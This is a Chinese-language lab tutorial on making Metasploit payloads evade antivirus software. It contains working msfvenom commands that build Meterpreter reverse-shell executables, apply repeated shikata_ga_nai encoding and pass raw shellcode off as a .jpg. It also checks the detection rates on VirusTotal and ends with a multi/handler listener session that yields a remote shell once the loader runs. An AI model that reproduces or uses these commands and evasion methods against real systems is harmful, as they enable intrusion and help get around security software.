MSF编码器结合shellcode加载器进行免杀实验
1 实验环境
软件名称 | 版本 | IP |
---|---|---|
kali | 6.0.0-kali3-amd64 | 172.31.5.9 |
2 利用MSF实现免杀
免杀技术简介: 免杀技术全称为反杀毒技术, Anti-Virus 简称“免杀”,指是一种能使病毒木马免于被杀毒软件查杀的技术。免杀技术的涉猎面广泛,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
2.1 没有免杀的情况
直接生成一个木马文件5555.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.31.5.7 lport=5555 -f exe -o 5555.exe
将此文件拷贝到windows机器(开启防火墙),会被发现并处理
将此木马文件上传到在线检测平台,观察到检测结果如下:
https://www.virustotal.com/gui/home/upload
2.2 启用MSF自带免杀功能
Meatsploit 框架下免杀的方式之一就是使用MSF编码器。其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。MSF 编码器可以将原可执行程序重新编码,生成一个新的二进制文件,该文件运行后,MSF 编码器会将原始程序解码到内存中并执行。
生成一个重新编码后的免杀程序6666.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.31.5.7 lport=5555 x86/shikata_ga_nai -i 20 -f exe -o 6666.exe
将文件拷贝至windows后,并没有被防火墙检测到。再次上传到在线检测平台 https://www.virustotal.com/gui/home/upload
可以观察到免杀后比没有免杀前的效果更差了(实际上是因为各个防火墙已经升级了对这种免杀技术的检测和防护,因此免杀后实际上是增加了“我就是木马文件”的特征,更容易被检测到)
2.3 利用shellcode加载器进行免杀
在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
生成一个shellcode文件crowsec.jpg
msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 7 -b '\x00' lhost=172.31.5.9 lport=7777 -f raw -o crowsec.jpg
可以被windows防火墙检测到
将此文件上传进行检测 https://www.virustotal.com/gui/home/upload
被检测到的结果少了许多,免杀有一定效果
shellcode加载器(本次实验命名为ms.exe) 本身也算一个木马程序,将ms.exe上传检测结果如下:
2.4 免杀木马利用
启动msf监听程序
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 172.31.5.9
lhost => 172.31.5.9
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.31.5.9:7777
将加载器ms.exe和上文生成的木马文件防止在同一目录下(IP:172.31.5.1):
双击ms.exe,观察到成功获取远程机器的命令窗口